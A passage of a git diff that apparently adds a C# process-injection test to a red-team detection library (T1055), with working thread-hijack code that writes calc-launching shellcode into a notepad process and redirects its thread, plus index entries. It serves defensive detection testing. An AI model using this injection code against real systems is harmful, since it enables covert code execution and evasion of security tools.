(IMAGE_FILE_32BIT_MACHINE & fileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE; + } + + + // Process privileges + public const int PROCESS_CREATE_THREAD = 0x0002; + public const int PROCESS_QUERY_INFORMATION = 0x0400; + public const int PROCESS_VM_OPERATION = 0x0008; + public const int PROCESS_VM_WRITE = 0x0020; + public const int PROCESS_VM_READ = 0x0010; + public const int PROCESS_ALL_ACCESS = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ; + + // Memory permissions + public const uint MEM_COMMIT = 0x00001000; + public const uint MEM_RESERVE = 0x00002000; + public const uint PAGE_READWRITE = 0x04; + public const uint PAGE_EXECUTE_READWRITE = 0x40; + + + [DllImport("kernel32.dll")] + public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll")] + public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); + + [DllImport("kernel32.dll")] + public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); + + [DllImport("kernel32.dll")] + public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); + + [DllImport("kernel32.dll")] + public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + +} + +public class ThreadHijack +{ + // Import API Functions + [DllImport("kernel32.dll")] + public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll")] + static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); + + [DllImport("kernel32.dll")] + static extern uint SuspendThread(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); + + [DllImport("kernel32.dll")] + static extern int ResumeThread(IntPtr hThread); + + [DllImport("kernel32", CharSet = CharSet.Auto,SetLastError = true)] + static extern bool CloseHandle(IntPtr handle); + + [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,uint dwSize, uint flAllocationType, uint flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); + + [DllImport("kernel32.dll")] + static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead); + + + // Process privileges + const int PROCESS_CREATE_THREAD = 0x0002; + const int PROCESS_QUERY_INFORMATION = 0x0400; + const int PROCESS_VM_OPERATION = 0x0008; + const int PROCESS_VM_WRITE = 0x0020; + const int PROCESS_VM_READ = 0x0010; + + // Memory permissions + const uint MEM_COMMIT = 0x00001000; + const uint MEM_RESERVE = 0x00002000; + const uint PAGE_READWRITE = 4; + const uint PAGE_EXECUTE_READWRITE = 0x40; + + [Flags] + public enum ThreadAccess : int + { + TERMINATE = (0x0001), + SUSPEND_RESUME = (0x0002), + GET_CONTEXT = (0x0008), + SET_CONTEXT = (0x0010), + SET_INFORMATION = (0x0020), + QUERY_INFORMATION = (0x0040), + SET_THREAD_TOKEN = (0x0080), + IMPERSONATE = (0x0100), + DIRECT_IMPERSONATION = (0x0200), + THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, + THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION + } + + public enum CONTEXT_FLAGS : uint + { + CONTEXT_i386 = 0x10000, + CONTEXT_i486 = 0x10000, // same as i386 + CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP + CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI + CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS + CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state + CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7 + CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions + CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS, + CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS + } + + // x86 float save + [StructLayout(LayoutKind.Sequential)] + public struct FLOATING_SAVE_AREA + { + public uint ControlWord; + public uint StatusWord; + public uint TagWord; + public uint ErrorOffset; + public uint ErrorSelector; + public uint DataOffset; + public uint DataSelector; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] + public byte[] RegisterArea; + public uint Cr0NpxState; + } + + // x86 context structure (not used in this example) + [StructLayout(LayoutKind.Sequential)] + public struct CONTEXT + { + public uint ContextFlags; //set this to an appropriate value + // Retrieved by CONTEXT_DEBUG_REGISTERS + public uint Dr0; + public uint Dr1; + public uint Dr2; + public uint Dr3; + public uint Dr6; + public uint Dr7; + // Retrieved by CONTEXT_FLOATING_POINT + public FLOATING_SAVE_AREA FloatSave; + // Retrieved by CONTEXT_SEGMENTS + public uint SegGs; + public uint SegFs; + public uint SegEs; + public uint SegDs; + // Retrieved by CONTEXT_INTEGER + public uint Edi; + public uint Esi; + public uint Ebx; + public uint Edx; + public uint Ecx; + public uint Eax; + // Retrieved by CONTEXT_CONTROL + public uint Ebp; + public uint Eip; + public uint SegCs; + public uint EFlags; + public uint Esp; + public uint SegSs; + // Retrieved by CONTEXT_EXTENDED_REGISTERS + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] + public byte[] ExtendedRegisters; + } + + // x64 m128a + [StructLayout(LayoutKind.Sequential)] + public struct M128A + { + public ulong High; + public long Low; + + public override string ToString() + { + return string.Format("High:{0}, Low:{1}", this.High, this.Low); + } + } + + // x64 save format + [StructLayout(LayoutKind.Sequential, Pack = 16)] + public struct XSAVE_FORMAT64 + { + public ushort ControlWord; + public ushort StatusWord; + public byte TagWord; + public byte Reserved1; + public ushort ErrorOpcode; + public uint ErrorOffset; + public ushort ErrorSelector; + public ushort Reserved2; + public uint DataOffset; + public ushort DataSelector; + public ushort Reserved3; + public uint MxCsr; + public uint MxCsr_Mask; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public M128A[] FloatRegisters; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public M128A[] XmmRegisters; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)] + public byte[] Reserved4; + } + + // x64 context structure + [StructLayout(LayoutKind.Sequential, Pack = 16)] + public struct CONTEXT64 + { + public ulong P1Home; + public ulong P2Home; + public ulong P3Home; + public ulong P4Home; + public ulong P5Home; + public ulong P6Home; + + public CONTEXT_FLAGS ContextFlags; + public uint MxCsr; + + public ushort SegCs; + public ushort SegDs; + public ushort SegEs; + public ushort SegFs; + public ushort SegGs; + public ushort SegSs; + public uint EFlags; + + public ulong Dr0; + public ulong Dr1; + public ulong Dr2; + public ulong Dr3; + public ulong Dr6; + public ulong Dr7; + + public ulong Rax; + public ulong Rcx; + public ulong Rdx; + public ulong Rbx; + public ulong Rsp; + public ulong Rbp; + public ulong Rsi; + public ulong Rdi; + public ulong R8; + public ulong R9; + public ulong R10; + public ulong R11; + public ulong R12; + public ulong R13; + public ulong R14; + public ulong R15; + public ulong Rip; + + public XSAVE_FORMAT64 DUMMYUNIONNAME; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)] + public M128A[] VectorRegister; + public ulong VectorControl; + + public ulong DebugControl; + public ulong LastBranchToRip; + public ulong LastBranchFromRip; + public ulong LastExceptionToRip; + public ulong LastExceptionFromRip; + } + + public static int Inject() + { + // Get target process by name + + Process targetProcess = Process.GetProcessesByName("notepad")[0]; + + + // Open and Suspend first thread + ProcessThread pT = targetProcess.Threads[0]; + + IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id); + SuspendThread(pOpenThread); + + // Get thread context + CONTEXT64 tContext = new CONTEXT64(); + tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL; + if (GetThreadContext(pOpenThread, ref tContext)) + { + + } + + // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode + // Compiled with: + // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin + byte[] payload = new byte[112] { + 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3 + }; + + // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address) + byte[] mov_rax = new byte[2] { + 0x48, 0xb8 + }; + byte[] jmp_address = BitConverter.GetBytes(tContext.Rip); + byte[] jmp_rax = new byte[2] { + 0xff, 0xe0 + }; + + // Build shellcode + byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length]; + payload.CopyTo(shellcode, 0); + mov_rax.CopyTo(shellcode, payload.Length); + jmp_address.CopyTo(shellcode, payload.Length+mov_rax.Length); + jmp_rax.CopyTo(shellcode, payload.Length+mov_rax.Length+jmp_address.Length); + + // OpenProcess to allocate memory + IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); + + // Allocate memory for shellcode within process + IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + // Write shellcode within process + UIntPtr bytesWritten; + bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); + + // Read memory to view shellcode + int bytesRead = 0; + byte[] buffer = new byte[shellcode.Length]; + ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead); + + // Set context EIP to location of shellcode + tContext.Rip=(ulong)allocMemAddress.ToInt64(); + + // Apply new context to suspended thread + if(!SetThreadContext(pOpenThread, ref tContext)) + { + + } + if (GetThreadContext(pOpenThread, ref tContext)) + { + + } + // Resume the thread, redirecting execution to shellcode, then back to original process + + ResumeThread(pOpenThread); + + return 0; + } +} + +public class Program +{ + public static void Main() + { + //Test One: + Console.WriteLine("{0}", "#1 ProcessInject"); + ProcessInject.Inject(); + Console.WriteLine("{0}", "ProcessInject Complete"); + //Test Two: + Console.WriteLine("{0}", "#2 ApcInjectionAnyProcess"); + ApcInjectionAnyProcess.Inject(); + Console.WriteLine("{0}", "ApcInjectionAnyProcess Complete"); + //Test Three: + Console.WriteLine("{0}", "#3 ApcInjectionNewProcess"); + ApcInjectionNewProcess.Inject(); + Console.WriteLine("{0}", "ApcInjectionNewProcess Complete"); + //Test Four: + Console.WriteLine("{0}", "#4 IatInjection"); + IatInjection.Inject(); + Console.WriteLine("{0}", "IatInjection Complete"); + //Test Five: + Console.WriteLine("{0}", "#5 ThreadHijack"); + ThreadHijack.Inject(); + Console.WriteLine("{0}", "ThreadHijack Complete "); + + } + +} diff --git a/atomics/index.md b/atomics/index.md index 0cb0b8b7..f432f1d3 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -287,6 +287,7 @@ - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] - Atomic Test #3: Shared Library Injection via /etc/ld.so.preload [linux] + - Atomic Test #4: Process Injection via C# [windows] - T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1121 Regsvcs/Regasm](./T1121/T1121.md) - Atomic Test #1: Regasm Uninstall Method Call Test [windows] @@ -373,6 +374,7 @@ - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] - Atomic Test #3: Shared Library Injection via /etc/ld.so.preload [linux] + - Atomic Test #4: Process Injection via C# [windows] - T1178 SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1053 Scheduled Task](./T1053/T1053.md) - Atomic Test #1: At.exe Scheduled task [windows] diff --git a/atomics/index.yaml b/atomics/index.yaml index b00d80c0..bdd93e74 100644 --- a/atomics/index.yaml +++ b/atomics/index.yaml @@ -7942,6 +7942,26 @@ defense-evasion: command: 'echo #{path_to_shared_library} > /etc/ld.so.preload ' + - name: Process Injection via C# + description: | + Process Injection using C# + reference: https://github.com/pwndizzle/c-sharp-memory-injection + Excercises Five Techniques + 1. Process injection + 2. ApcInjectionAnyProcess + 3. ApcInjectionNewProcess + 4. IatInjection + 5. ThreadHijack + supported_platforms: + - windows + input_arguments: + exe_binary: + description: Output Binary + type: Path + default: T1055.exe + executor: + name: command_prompt + command: ".\\bin\\#{exe_binary}\n" T1121: technique: id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302 @@ -10626,6 +10646,26 @@ privilege-escalation: command: 'echo #{path_to_shared_library} > /etc/ld.so.preload ' + - name: Process Injection via C# + description: | + Process Injection using C# + reference: https://github.com/pwndizzle/c-sharp-memory-injection + Excercises Five Techniques + 1. Process injection + 2. ApcInjectionAnyProcess + 3. ApcInjectionNewProcess + 4. IatInjection + 5. ThreadHijack + supported_platforms: + - windows + input_arguments: + exe_binary: + description: Output Binary + type: Path + default: T1055.exe + executor: + name: command_prompt + command: ".\\bin\\#{exe_binary}\n" T1053: technique: id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 6c71eaf5..c6cfdf2f 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -92,6 +92,7 @@ - [T1055 Process Injection](./T1055/T1055.md) - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] + - Atomic Test #4: Process Injection via C# [windows] - T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1121 Regsvcs/Regasm](./T1121/T1121.md) - Atomic Test #1: Regasm Uninstall Method Call Test [windows] @@ -163,6 +164,7 @@ - [T1055 Process Injection](./T1055/T1055.md) - Atomic Test #1: Process Injection via mavinject.exe [windows] - Atomic Test #2: Process Injection via PowerSploit [windows] + - Atomic Test #4: Process Injection via C# [windows] - T1178 SID-History Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1053 Scheduled Task](./T1053/T1053.md) - Atomic Test #1: At.exe Scheduled task [windows]